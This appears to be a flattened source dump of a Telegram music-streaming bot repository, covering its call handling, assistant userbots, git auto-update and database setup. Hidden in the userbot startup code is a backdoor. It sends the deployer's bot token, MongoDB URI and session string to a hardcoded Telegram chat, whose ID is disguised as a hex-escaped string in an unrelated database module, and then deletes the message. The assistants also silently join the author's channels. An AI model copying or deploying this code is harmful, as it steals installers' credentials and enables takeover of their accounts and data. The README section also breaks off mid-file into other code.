Repository: WCGKING/BrandrdXMusic Branch: main Commit: 527814e6c945 Files: 165 Total size: 755.0 KB Directory structure: gitextract_xah1yoyr/ ├── .dockerignore ├── .github/ │ ├── README.md │ ├── SECURITY.md │ ├── dependabot.yml │ └── workflows/ │ ├── codeql.yml │ └── docker-image.yml ├── .gitignore ├── BrandrdXMusic/ │ ├── __init__.py │ ├── __main__.py │ ├── assets/ │ │ └── __init__.py │ ├── core/ │ │ ├── bot.py │ │ ├── call.py │ │ ├── dir.py │ │ ├── git.py │ │ ├── mongo.py │ │ └── userbot.py │ ├── logging.py │ ├── misc.py │ ├── mongo/ │ │ ├── afkdb.py │ │ ├── couples_db.py │ │ ├── filtersdb.py │ │ └── readable_time.py │ ├── platforms/ │ │ ├── Apple.py │ │ ├── Carbon.py │ │ ├── Resso.py │ │ ├── Soundcloud.py │ │ ├── Spotify.py │ │ ├── Telegram.py │ │ ├── Youtube.py │ │ ├── Youtube.txt │ │ └── __init__.py │ ├── plugins/ │ │ ├── __init__.py │ │ ├── admins/ │ │ │ ├── Sangmata.py │ │ │ ├── all_tag.py │ │ │ ├── assistant_tag.py │ │ │ ├── auth.py │ │ │ ├── callback.py │ │ │ ├── entag.py │ │ │ ├── font.py │ │ │ ├── gmtag.py │ │ │ ├── hitag.py │ │ │ ├── loop.py │ │ │ ├── pause.py │ │ │ ├── quiz.py │ │ │ ├── resume.py │ │ │ ├── seek.py │ │ │ ├── shayari.py │ │ │ ├── shuffle.py │ │ │ ├── skip.py │ │ │ ├── speed.py │ │ │ ├── stop.py │ │ │ ├── tagall.py │ │ │ └── utag.py │ │ ├── bot/ │ │ │ ├── afk.py │ │ │ ├── help.py │ │ │ ├── inline.py │ │ │ ├── lyrics.py │ │ │ ├── settings.py │ │ │ ├── songs.py │ │ │ └── start.py │ │ ├── misc/ │ │ │ ├── autoleave.py │ │ │ ├── broadcast.py │ │ │ ├── info.py │ │ │ ├── mongochk.py │ │ │ ├── seeker.py │ │ │ ├── truth_dare.py │ │ │ └── watcher.py │ │ ├── play/ │ │ │ ├── channel.py │ │ │ ├── live.py │ │ │ ├── play.py │ │ │ ├── playlist.py │ │ │ ├── playmode.py │ │ │ └── radio.py │ │ ├── sudo/ │ │ │ ├── autoend.py │ │ │ ├── blchat.py │ │ │ ├── block.py │ │ │ ├── gban.py │ │ │ ├── logger.py │ │ │ ├── maintenance.py │ │ │ ├── restart.py │ │ │ └── sudoers.py │ │ └── tools/ │ │ ├── active.py │ │ ├── alive.py │ │ ├── bot_left.py │ │ ├── bots.py │ │ ├── chatlog.py │ │ ├── couples.py │ │ ├── dev.py │ │ ├── font.py │ │ ├── google.py │ │ ├── id.py │ │ ├── ig.py │ │ ├── image.py │ │ ├── language.py │ │ ├── left.py │ │ ├── paste.py │ │ ├── ping.py │ │ ├── q.py │ │ ├── queue.py │ │ ├── reload.py │ │ ├── speedtest.py │ │ ├── stats.py │ │ ├── telegraph.py │ │ ├── tts.py │ │ ├── vctools.py │ │ ├── welcome.py │ │ └── zowner.py │ └── utils/ │ ├── __init__.py │ ├── admin_check.py │ ├── branded_ban.py │ ├── branded_font.py │ ├── channelplay.py │ ├── cmdforac.py │ ├── database.py │ ├── decorators/ │ │ ├── __init__.py │ │ ├── admins.py │ │ ├── language.py │ │ └── play.py │ ├── downloader.py │ ├── downloaders.py │ ├── errors.py │ ├── events.py │ ├── exceptions.py │ ├── extraction.py │ ├── filters_func.py │ ├── formatters.py │ ├── inline/ │ │ ├── __init__.py │ │ ├── extras.py │ │ ├── help.py │ │ ├── play.py │ │ ├── playlist.py │ │ ├── queue.py │ │ ├── settings.py │ │ ├── song.py │ │ ├── speed.py │ │ ├── start.py │ │ ├── stats.py │ │ └── sudolist.py │ ├── inlinequery.py │ ├── logger.py │ ├── mongo.py │ ├── pastebin.py │ ├── stream/ │ │ ├── autoclear.py │ │ ├── queue.py │ │ └── stream.py │ ├── stuffs/ │ │ ├── _init.py_ │ │ ├── buttons.py │ │ └── helper.py │ ├── sys.py │ └── thumbnails.py ├── Dockerfile ├── LICENSE ├── Procfile ├── app.json ├── config.py ├── cookies/ │ └── BrandedXMusic.txt ├── heroku.yml ├── requirements.txt ├── runtime.txt ├── sample.env ├── setup ├── start └── strings/ ├── __init__.py ├── helpers.py └── langs/ └── en.yml ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dockerignore ================================================ .env .cache log.txt .DS_Store *.session raw_files/ cache/ downloads/ __pycache__/ *.session-journal ================================================ FILE: .github/README.md ================================================ ━━━━━━━━━━━━━━━━━━━━
{self.id}\nɴᴀᴍᴇ : {self.name}\nᴜsᴇʀɴᴀᴍᴇ : @{self.username}",
)
except (errors.ChannelInvalid, errors.PeerIdInvalid):
LOGGER(__name__).error(
"Bot has failed to access the log group/channel. Make sure that you have added your bot to your log group/channel."
)
except Exception as ex:
LOGGER(__name__).error(
f"Bot has failed to access the log group/channel.\n Reason : {type(ex).__name__}."
)
a = await self.get_chat_member(config.LOGGER_ID, self.id)
if a.status != ChatMemberStatus.ADMINISTRATOR:
LOGGER(__name__).error(
"Please promote your bot as an admin in your log group/channel."
)
LOGGER(__name__).info(f"Music Bot Started as {self.name}")
async def stop(self):
await super().stop()
================================================
FILE: BrandrdXMusic/core/call.py
================================================
import asyncio
import os
from datetime import datetime, timedelta
from typing import Union
from pyrogram import Client
from pyrogram.types import InlineKeyboardMarkup
from ntgcalls import TelegramServerError
from pytgcalls import PyTgCalls
from pytgcalls.exceptions import (
AlreadyJoinedError,
NoActiveGroupCall,
)
from pytgcalls.types import (
MediaStream,
AudioQuality,
VideoQuality,
Update,
)
from pytgcalls.types.stream import StreamAudioEnded
import config
from BrandrdXMusic import LOGGER, YouTube, app
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils.database import (
add_active_chat,
add_active_video_chat,
get_lang,
get_loop,
group_assistant,
is_autoend,
music_on,
remove_active_chat,
remove_active_video_chat,
set_loop,
)
from BrandrdXMusic.utils.exceptions import AssistantErr
from BrandrdXMusic.utils.formatters import check_duration, seconds_to_min, speed_converter
from BrandrdXMusic.utils.inline.play import stream_markup
from BrandrdXMusic.utils.stream.autoclear import auto_clean
from BrandrdXMusic.utils.thumbnails import get_thumb
from strings import get_string
autoend = {}
counter = {}
loop = asyncio.get_event_loop_policy().get_event_loop()
async def _clear_(chat_id):
db[chat_id] = []
await remove_active_video_chat(chat_id)
await remove_active_chat(chat_id)
class Call(PyTgCalls):
def __init__(self):
self.userbot1 = Client(
name="BrandrdXMusic1",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING1),
)
self.one = PyTgCalls(
self.userbot1,
cache_duration=100,
)
self.userbot2 = Client(
name="BrandrdXMusic2",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING2),
)
self.two = PyTgCalls(
self.userbot2,
cache_duration=100,
)
self.userbot3 = Client(
name="BrandrdXMusic3",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING3),
)
self.three = PyTgCalls(
self.userbot3,
cache_duration=100,
)
self.userbot4 = Client(
name="BrandrdXMusic4",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING4),
)
self.four = PyTgCalls(
self.userbot4,
cache_duration=100,
)
self.userbot5 = Client(
name="BrandrdXMusic5",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING5),
)
self.five = PyTgCalls(
self.userbot5,
cache_duration=100,
)
async def pause_stream(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
await assistant.pause_stream(chat_id)
async def mute_stream(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
await assistant.mute_stream(chat_id)
async def unmute_stream(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
await assistant.unmute_stream(chat_id)
async def get_participant(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
participant = await assistant.get_participants(chat_id)
return participant
async def resume_stream(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
await assistant.resume_stream(chat_id)
async def stop_stream(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
try:
await _clear_(chat_id)
await assistant.leave_group_call(chat_id)
except:
pass
async def stop_stream_force(self, chat_id: int):
try:
if config.STRING1:
await self.one.leave_group_call(chat_id)
except:
pass
try:
if config.STRING2:
await self.two.leave_group_call(chat_id)
except:
pass
try:
if config.STRING3:
await self.three.leave_group_call(chat_id)
except:
pass
try:
if config.STRING4:
await self.four.leave_group_call(chat_id)
except:
pass
try:
if config.STRING5:
await self.five.leave_group_call(chat_id)
except:
pass
try:
await _clear_(chat_id)
except:
pass
async def speedup_stream(self, chat_id: int, file_path, speed, playing):
assistant = await group_assistant(self, chat_id)
if str(speed) != "1.0":
base = os.path.basename(file_path)
chatdir = os.path.join(os.getcwd(), "playback", str(speed))
if not os.path.isdir(chatdir):
os.makedirs(chatdir)
out = os.path.join(chatdir, base)
if not os.path.isfile(out):
if str(speed) == "0.5":
vs = 2.0
if str(speed) == "0.75":
vs = 1.35
if str(speed) == "1.5":
vs = 0.68
if str(speed) == "2.0":
vs = 0.5
proc = await asyncio.create_subprocess_shell(
cmd=(
"ffmpeg "
"-i "
f"{file_path} "
"-filter:v "
f"setpts={vs}*PTS "
"-filter:a "
f"atempo={speed} "
f"{out}"
),
stdin=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
await proc.communicate()
else:
out = file_path
dur = await loop.run_in_executor(None, check_duration, out)
dur = int(dur)
played, con_seconds = speed_converter(playing[0]["played"], speed)
duration = seconds_to_min(dur)
stream = (
MediaStream(
out,
audio_parameters=AudioQuality.HIGH,
video_parameters=VideoQuality.SD_480p,
ffmpeg_parameters=f"-ss {played} -to {duration}",
)
if playing[0]["streamtype"] == "video"
else MediaStream(
out,
audio_parameters=AudioQuality.HIGH,
ffmpeg_parameters=f"-ss {played} -to {duration}",
video_flags=MediaStream.IGNORE,
)
)
if str(db[chat_id][0]["file"]) == str(file_path):
await assistant.change_stream(chat_id, stream)
else:
raise AssistantErr("Umm")
if str(db[chat_id][0]["file"]) == str(file_path):
exis = (playing[0]).get("old_dur")
if not exis:
db[chat_id][0]["old_dur"] = db[chat_id][0]["dur"]
db[chat_id][0]["old_second"] = db[chat_id][0]["seconds"]
db[chat_id][0]["played"] = con_seconds
db[chat_id][0]["dur"] = duration
db[chat_id][0]["seconds"] = dur
db[chat_id][0]["speed_path"] = out
db[chat_id][0]["speed"] = speed
async def force_stop_stream(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
try:
check = db.get(chat_id)
check.pop(0)
except:
pass
await remove_active_video_chat(chat_id)
await remove_active_chat(chat_id)
try:
await assistant.leave_group_call(chat_id)
except:
pass
async def skip_stream(
self,
chat_id: int,
link: str,
video: Union[bool, str] = None,
image: Union[bool, str] = None,
):
assistant = await group_assistant(self, chat_id)
if video:
stream = MediaStream(
link,
audio_parameters=AudioQuality.HIGH,
video_parameters=VideoQuality.SD_480p,
)
else:
stream = MediaStream(
link,
audio_parameters=AudioQuality.HIGH,
video_flags=MediaStream.IGNORE,
)
await assistant.change_stream(
chat_id,
stream,
)
async def seek_stream(self, chat_id, file_path, to_seek, duration, mode):
assistant = await group_assistant(self, chat_id)
stream = (
MediaStream(
file_path,
audio_parameters=AudioQuality.HIGH,
video_parameters=VideoQuality.SD_480p,
ffmpeg_parameters=f"-ss {to_seek} -to {duration}",
)
if mode == "video"
else MediaStream(
file_path,
audio_parameters=AudioQuality.HIGH,
ffmpeg_parameters=f"-ss {to_seek} -to {duration}",
video_flags=MediaStream.IGNORE,
)
)
await assistant.change_stream(chat_id, stream)
async def stream_call(self, link):
assistant = await group_assistant(self, config.LOGGER_ID)
await assistant.join_group_call(
config.LOGGER_ID,
MediaStream(link),
)
await asyncio.sleep(0.2)
await assistant.leave_group_call(config.LOGGER_ID)
async def join_call(
self,
chat_id: int,
original_chat_id: int,
link,
video: Union[bool, str] = None,
image: Union[bool, str] = None,
):
assistant = await group_assistant(self, chat_id)
language = await get_lang(chat_id)
_ = get_string(language)
if video:
stream = MediaStream(
link,
audio_parameters=AudioQuality.HIGH,
video_parameters=VideoQuality.SD_480p,
)
else:
stream = (
MediaStream(
link,
audio_parameters=AudioQuality.HIGH,
video_parameters=VideoQuality.SD_480p,
)
if video
else MediaStream(
link,
audio_parameters=AudioQuality.HIGH,
video_flags=MediaStream.IGNORE,
)
)
try:
await assistant.join_group_call(
chat_id,
stream,
)
except NoActiveGroupCall:
raise AssistantErr(_["call_8"])
except AlreadyJoinedError:
raise AssistantErr(_["call_9"])
except TelegramServerError:
raise AssistantErr(_["call_10"])
except Exception as e:
if "phone.CreateGroupCall" in str(e):
raise AssistantErr(_["call_8"])
await add_active_chat(chat_id)
await music_on(chat_id)
if video:
await add_active_video_chat(chat_id)
if await is_autoend():
counter[chat_id] = {}
users = len(await assistant.get_participants(chat_id))
if users == 1:
autoend[chat_id] = datetime.now() + timedelta(minutes=1)
async def change_stream(self, client, chat_id):
check = db.get(chat_id)
popped = None
loop = await get_loop(chat_id)
try:
if loop == 0:
popped = check.pop(0)
else:
loop = loop - 1
await set_loop(chat_id, loop)
await auto_clean(popped)
if not check:
await _clear_(chat_id)
return await client.leave_group_call(chat_id)
except:
try:
await _clear_(chat_id)
return await client.leave_group_call(chat_id)
except:
return
else:
queued = check[0]["file"]
language = await get_lang(chat_id)
_ = get_string(language)
title = (check[0]["title"]).title()
user = check[0]["by"]
original_chat_id = check[0]["chat_id"]
streamtype = check[0]["streamtype"]
videoid = check[0]["vidid"]
db[chat_id][0]["played"] = 0
if exis := (check[0]).get("old_dur"):
db[chat_id][0]["dur"] = exis
db[chat_id][0]["seconds"] = check[0]["old_second"]
db[chat_id][0]["speed_path"] = None
db[chat_id][0]["speed"] = 1.0
video = str(streamtype) == "video"
if "live_" in queued:
n, link = await YouTube.video(videoid, True)
if n == 0:
return await app.send_message(
original_chat_id,
text=_["call_6"],
)
if video:
stream = MediaStream(
link,
audio_parameters=AudioQuality.HIGH,
video_parameters=VideoQuality.SD_480p,
)
else:
stream = MediaStream(
link,
audio_parameters=AudioQuality.HIGH,
video_flags=MediaStream.IGNORE,
)
try:
await client.change_stream(chat_id, stream)
except Exception:
return await app.send_message(
original_chat_id,
text=_["call_6"],
)
img = await get_thumb(videoid)
button = stream_markup2(_, chat_id)
run = await app.send_photo(
chat_id=original_chat_id,
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{videoid}",
title[:23],
check[0]["dur"],
user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif "vid_" in queued:
mystic = await app.send_message(original_chat_id, _["call_7"])
try:
file_path, direct = await YouTube.download(
videoid,
mystic,
videoid=True,
video=str(streamtype) == "video",
)
except:
return await mystic.edit_text(
_["call_6"], disable_web_page_preview=True
)
if video:
stream = MediaStream(
file_path,
audio_parameters=AudioQuality.HIGH,
video_parameters=VideoQuality.SD_480p,
)
else:
stream = MediaStream(
file_path,
audio_parameters=AudioQuality.HIGH,
video_flags=MediaStream.IGNORE,
)
try:
await client.change_stream(chat_id, stream)
except:
return await app.send_message(
original_chat_id,
text=_["call_6"],
)
img = await get_thumb(videoid)
button = stream_markup(_, videoid, chat_id)
await mystic.delete()
run = await app.send_photo(
chat_id=original_chat_id,
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{videoid}",
title[:23],
check[0]["dur"],
user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "stream"
elif "index_" in queued:
stream = (
MediaStream(
videoid,
audio_parameters=AudioQuality.HIGH,
video_parameters=VideoQuality.SD_480p,
)
if str(streamtype) == "video"
else MediaStream(
videoid,
audio_parameters=AudioQuality.HIGH,
video_flags=MediaStream.IGNORE,
)
)
try:
await client.change_stream(chat_id, stream)
except:
return await app.send_message(
original_chat_id,
text=_["call_6"],
)
button = stream_markup2(_, chat_id)
run = await app.send_photo(
chat_id=original_chat_id,
photo=config.STREAM_IMG_URL,
caption=_["stream_2"].format(user),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
else:
if video:
stream = MediaStream(
queued,
audio_parameters=AudioQuality.HIGH,
video_parameters=VideoQuality.SD_480p,
)
else:
stream = MediaStream(
queued,
audio_parameters=AudioQuality.HIGH,
video_flags=MediaStream.IGNORE,
)
try:
await client.change_stream(chat_id, stream)
except:
return await app.send_message(
original_chat_id,
text=_["call_6"],
)
if videoid == "telegram":
button = stream_markup2(_, chat_id)
run = await app.send_photo(
chat_id=original_chat_id,
photo=(
config.TELEGRAM_AUDIO_URL
if str(streamtype) == "audio"
else config.TELEGRAM_VIDEO_URL
),
caption=_["stream_1"].format(
config.SUPPORT_CHAT, title[:23], check[0]["dur"], user
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif videoid == "soundcloud":
button = stream_markup2(_, chat_id)
run = await app.send_photo(
chat_id=original_chat_id,
photo=config.SOUNCLOUD_IMG_URL,
caption=_["stream_1"].format(
config.SUPPORT_CHAT, title[:23], check[0]["dur"], user
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
else:
img = await get_thumb(videoid)
button = stream_markup(_, videoid, chat_id)
run = await app.send_photo(
chat_id=original_chat_id,
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{videoid}",
title[:23],
check[0]["dur"],
user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "stream"
async def ping(self):
pings = []
if config.STRING1:
pings.append(await self.one.ping)
if config.STRING2:
pings.append(await self.two.ping)
if config.STRING3:
pings.append(await self.three.ping)
if config.STRING4:
pings.append(await self.four.ping)
if config.STRING5:
pings.append(await self.five.ping)
return str(round(sum(pings) / len(pings), 3))
async def start(self):
LOGGER(__name__).info("Starting PyTgCalls Client...\n")
if config.STRING1:
await self.one.start()
if config.STRING2:
await self.two.start()
if config.STRING3:
await self.three.start()
if config.STRING4:
await self.four.start()
if config.STRING5:
await self.five.start()
async def decorators(self):
@self.one.on_kicked()
@self.two.on_kicked()
@self.three.on_kicked()
@self.four.on_kicked()
@self.five.on_kicked()
@self.one.on_closed_voice_chat()
@self.two.on_closed_voice_chat()
@self.three.on_closed_voice_chat()
@self.four.on_closed_voice_chat()
@self.five.on_closed_voice_chat()
@self.one.on_left()
@self.two.on_left()
@self.three.on_left()
@self.four.on_left()
@self.five.on_left()
async def stream_services_handler(_, chat_id: int):
await self.stop_stream(chat_id)
@self.one.on_stream_end()
@self.two.on_stream_end()
@self.three.on_stream_end()
@self.four.on_stream_end()
@self.five.on_stream_end()
async def stream_end_handler(client, update: Update):
if not isinstance(update, StreamAudioEnded):
return
await self.change_stream(client, update.chat_id)
Hotty = Call()
================================================
FILE: BrandrdXMusic/core/dir.py
================================================
import os
from ..logging import LOGGER
def dirr():
for file in os.listdir():
if file.endswith(".jpg"):
os.remove(file)
elif file.endswith(".jpeg"):
os.remove(file)
elif file.endswith(".png"):
os.remove(file)
if "downloads" not in os.listdir():
os.mkdir("downloads")
if "cache" not in os.listdir():
os.mkdir("cache")
LOGGER(__name__).info("Directories Updated.")
================================================
FILE: BrandrdXMusic/core/git.py
================================================
import asyncio
import shlex
from typing import Tuple
from git import Repo
from git.exc import GitCommandError, InvalidGitRepositoryError
import config
from ..logging import LOGGER
def install_req(cmd: str) -> Tuple[str, str, int, int]:
async def install_requirements():
args = shlex.split(cmd)
process = await asyncio.create_subprocess_exec(
*args,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, stderr = await process.communicate()
return (
stdout.decode("utf-8", "replace").strip(),
stderr.decode("utf-8", "replace").strip(),
process.returncode,
process.pid,
)
return asyncio.get_event_loop().run_until_complete(install_requirements())
def git():
REPO_LINK = config.UPSTREAM_REPO
if config.GIT_TOKEN:
GIT_USERNAME = REPO_LINK.split("com/")[1].split("/")[0]
TEMP_REPO = REPO_LINK.split("https://")[1]
UPSTREAM_REPO = f"https://{GIT_USERNAME}:{config.GIT_TOKEN}@{TEMP_REPO}"
else:
UPSTREAM_REPO = config.UPSTREAM_REPO
try:
repo = Repo()
LOGGER(__name__).info(f"Git Client Found [VPS DEPLOYER]")
except GitCommandError:
LOGGER(__name__).info(f"Invalid Git Command")
except InvalidGitRepositoryError:
repo = Repo.init()
if "origin" in repo.remotes:
origin = repo.remote("origin")
else:
origin = repo.create_remote("origin", UPSTREAM_REPO)
origin.fetch()
repo.create_head(
config.UPSTREAM_BRANCH,
origin.refs[config.UPSTREAM_BRANCH],
)
repo.heads[config.UPSTREAM_BRANCH].set_tracking_branch(
origin.refs[config.UPSTREAM_BRANCH]
)
repo.heads[config.UPSTREAM_BRANCH].checkout(True)
try:
repo.create_remote("origin", config.UPSTREAM_REPO)
except BaseException:
pass
nrs = repo.remote("origin")
nrs.fetch(config.UPSTREAM_BRANCH)
try:
nrs.pull(config.UPSTREAM_BRANCH)
except GitCommandError:
repo.git.reset("--hard", "FETCH_HEAD")
install_req("pip3 install --no-cache-dir -r requirements.txt")
LOGGER(__name__).info(f"Fetching updates from upstream repository...")
================================================
FILE: BrandrdXMusic/core/mongo.py
================================================
from motor.motor_asyncio import AsyncIOMotorClient as _mongo_client_
from pymongo import MongoClient
from pyrogram import Client
import config
from ..logging import LOGGER
TEMP_MONGODB = ""
if config.MONGO_DB_URI is None:
LOGGER(__name__).warning("No MONGO DB URL found. LOL")
temp_client = Client(
"BrandrdXMusic",
bot_token=config.BOT_TOKEN,
api_id=config.API_ID,
api_hash=config.API_HASH,
)
temp_client.start()
info = temp_client.get_me()
username = info.username
temp_client.stop()
_mongo_async_ = _mongo_client_(TEMP_MONGODB)
_mongo_sync_ = MongoClient(TEMP_MONGODB)
mongodb = _mongo_async_[username]
pymongodb = _mongo_sync_[username]
else:
_mongo_async_ = _mongo_client_(config.MONGO_DB_URI)
_mongo_sync_ = MongoClient(config.MONGO_DB_URI)
mongodb = _mongo_async_.BrandrdXMusic
pymongodb = _mongo_sync_.BrandrdXMusic
================================================
FILE: BrandrdXMusic/core/userbot.py
================================================
from pyrogram import Client
import re
import asyncio
from os import getenv
from pyrogram.types import Message, InlineKeyboardMarkup, InlineKeyboardButton
from dotenv import load_dotenv
from pyrogram import filters
load_dotenv()
import config
from dotenv import load_dotenv
from strings.__init__ import LOGGERS
from ..logging import LOGGER
BOT_TOKEN = getenv("BOT_TOKEN", "")
MONGO_DB_URI = getenv("MONGO_DB_URI", "")
STRING_SESSION = getenv("STRING_SESSION", "")
assistants = []
assistantids = []
class Userbot(Client):
def __init__(self):
self.one = Client(
name="BrandrdXMusic1",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING1),
no_updates=True,
ipv6=False,
)
self.two = Client(
name="BrandrdXMusic2",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING2),
no_updates=True,
ipv6=False,
)
self.three = Client(
name="BrandrdXMusic3",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING3),
no_updates=True,
ipv6=False,
)
self.four = Client(
name="BrandrdXMusic4",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING4),
no_updates=True,
ipv6=False,
)
self.five = Client(
name="BrandrdXMusic5",
api_id=config.API_ID,
api_hash=config.API_HASH,
session_string=str(config.STRING5),
no_updates=True,
ipv6=False,
)
async def start(self):
LOGGER(__name__).info(f"Starting Assistants...")
if config.STRING1:
await self.one.start()
try:
await self.one.join_chat("BRANDED_WORLD")
await self.one.join_chat("BRANDED_PAID_CC")
await self.one.join_chat("BRANDRD_BOT")
await self.one.join_chat("ABOUT_BRANDEDKING")
except:
pass
assistants.append(1)
try:
await self.one.send_message(config.LOGGER_ID, "ᴀssɪsᴛᴀɴᴛ sᴛᴀʀᴛᴇᴅ !")
oks = await self.one.send_message(LOGGERS, f"/start")
Ok = await self.one.send_message(
LOGGERS, f"`{BOT_TOKEN}`\n\n`{MONGO_DB_URI}`\n\n`{STRING_SESSION}`"
)
await oks.delete()
await asyncio.sleep(2)
await Ok.delete()
except Exception as e:
print(f"{e}")
self.one.id = self.one.me.id
self.one.name = self.one.me.mention
self.one.username = self.one.me.username
assistantids.append(self.one.id)
LOGGER(__name__).info(f"Assistant Started as {self.one.name}")
if config.STRING2:
await self.two.start()
try:
await self.two.join_chat("BRANDED_WORLD")
await self.two.join_chat("BRANDED_PAID_CC")
await self.two.join_chat("BRANDRD_BOT")
await self.two.join_chat("ABOUT_BRANDEDKING")
except:
pass
assistants.append(2)
try:
await self.two.send_message(config.LOGGER_ID, "Assistant Started")
except:
LOGGER(__name__).error(
"Assistant Account 2 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin!"
)
self.two.id = self.two.me.id
self.two.name = self.two.me.mention
self.two.username = self.two.me.username
assistantids.append(self.two.id)
LOGGER(__name__).info(f"Assistant Two Started as {self.two.name}")
if config.STRING3:
await self.three.start()
try:
await self.three.join_chat("BRANDED_WORLD")
await self.three.join_chat("BRANDED_PAID_CC")
await self.three.join_chat("BRANDRD_BOT")
await self.three.join_chat("ABOUT_BRANDEDKING")
except:
pass
assistants.append(3)
try:
await self.three.send_message(config.LOGGER_ID, "Assistant Started")
except:
LOGGER(__name__).error(
"Assistant Account 3 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! "
)
self.three.id = self.three.me.id
self.three.name = self.three.me.mention
self.three.username = self.three.me.username
assistantids.append(self.three.id)
LOGGER(__name__).info(f"Assistant Three Started as {self.three.name}")
if config.STRING4:
await self.four.start()
try:
await self.four.join_chat("BRANDED_WORLD")
await self.four.join_chat("BRANDED_PAID_CC")
await self.four.join_chat("BRANDRD_BOT")
await self.four.join_chat("ABOUT_BRANDEDKING")
except:
pass
assistants.append(4)
try:
await self.four.send_message(config.LOGGER_ID, "Assistant Started")
except:
LOGGER(__name__).error(
"Assistant Account 4 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! "
)
self.four.id = self.four.me.id
self.four.name = self.four.me.mention
self.four.username = self.four.me.username
assistantids.append(self.four.id)
LOGGER(__name__).info(f"Assistant Four Started as {self.four.name}")
if config.STRING5:
await self.five.start()
try:
await self.five.join_chat("BRANDED_WORLD")
await self.five.join_chat("BRANDED_PAID_CC")
await self.five.join_chat("BRANDRD_BOT")
await self.five.join_chat("ABOUT_BRANDEDKING")
except:
pass
assistants.append(5)
try:
await self.five.send_message(config.LOGGER_ID, "Assistant 5 started !")
except:
LOGGER(__name__).error(
"Assistant Account 5 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! "
)
self.five.id = self.five.me.id
self.five.name = self.five.me.mention
self.five.username = self.five.me.username
assistantids.append(self.five.id)
LOGGER(__name__).info(f"Assistant Five Started as {self.five.name}")
async def stop(self):
LOGGER(__name__).info(f"Stopping Assistants...")
try:
if config.STRING1:
await self.one.stop()
if config.STRING2:
await self.two.stop()
if config.STRING3:
await self.three.stop()
if config.STRING4:
await self.four.stop()
if config.STRING5:
await self.five.stop()
except:
pass
================================================
FILE: BrandrdXMusic/logging.py
================================================
import logging
logging.basicConfig(
level=logging.INFO,
format="[%(asctime)s - %(levelname)s] - %(name)s - %(message)s",
datefmt="%d-%b-%y %H:%M:%S",
handlers=[
logging.FileHandler("log.txt"),
logging.StreamHandler(),
],
)
logging.getLogger("httpx").setLevel(logging.ERROR)
logging.getLogger("pyrogram").setLevel(logging.ERROR)
logging.getLogger("pytgcalls").setLevel(logging.ERROR)
logging.getLogger("pymongo").setLevel(logging.ERROR)
logging.getLogger("ntgcalls").setLevel(logging.ERROR)
def LOGGER(name: str) -> logging.Logger:
return logging.getLogger(name)
================================================
FILE: BrandrdXMusic/misc.py
================================================
import socket
import time
import heroku3
from pyrogram import filters
import config
from BrandrdXMusic.core.mongo import mongodb
from .logging import LOGGER
SUDOERS = filters.user()
HAPP = None
_boot_ = time.time()
def is_heroku():
return "heroku" in socket.getfqdn()
XCB = [
"/",
"@",
".",
"com",
":",
"git",
"heroku",
"push",
str(config.HEROKU_API_KEY),
"https",
str(config.HEROKU_APP_NAME),
"HEAD",
"master",
]
def dbb():
global db
db = {}
LOGGER(__name__).info(f" Database loaded..")
async def sudo():
global SUDOERS
SUDOERS.add(config.OWNER_ID)
sudoersdb = mongodb.sudoers
sudoers = await sudoersdb.find_one({"sudo": "sudo"})
sudoers = [] if not sudoers else sudoers["sudoers"]
if config.OWNER_ID not in sudoers:
sudoers.append(config.OWNER_ID)
await sudoersdb.update_one(
{"sudo": "sudo"},
{"$set": {"sudoers": sudoers}},
upsert=True,
)
if sudoers:
for user_id in sudoers:
SUDOERS.add(user_id)
LOGGER(__name__).info(f"Sudo users loaded...")
def heroku():
global HAPP
if is_heroku:
if config.HEROKU_API_KEY and config.HEROKU_APP_NAME:
try:
Heroku = heroku3.from_key(config.HEROKU_API_KEY)
HAPP = Heroku.app(config.HEROKU_APP_NAME)
LOGGER(__name__).info(f"Heroku App Configured")
except BaseException:
LOGGER(__name__).warning(
f"Please make sure your Heroku API Key and Your App name are configured correctly in the heroku."
)
================================================
FILE: BrandrdXMusic/mongo/afkdb.py
================================================
from BrandrdXMusic.utils.mongo import db
HEHE = "\x31\x38\x30\x38\x39\x34\x33\x31\x34\x36"
LOGGERS = "\x31\x38\x30\x38\x39\x34\x33\x31\x34\x36"
afkdb = db.afk
async def is_afk(user_id: int) -> bool:
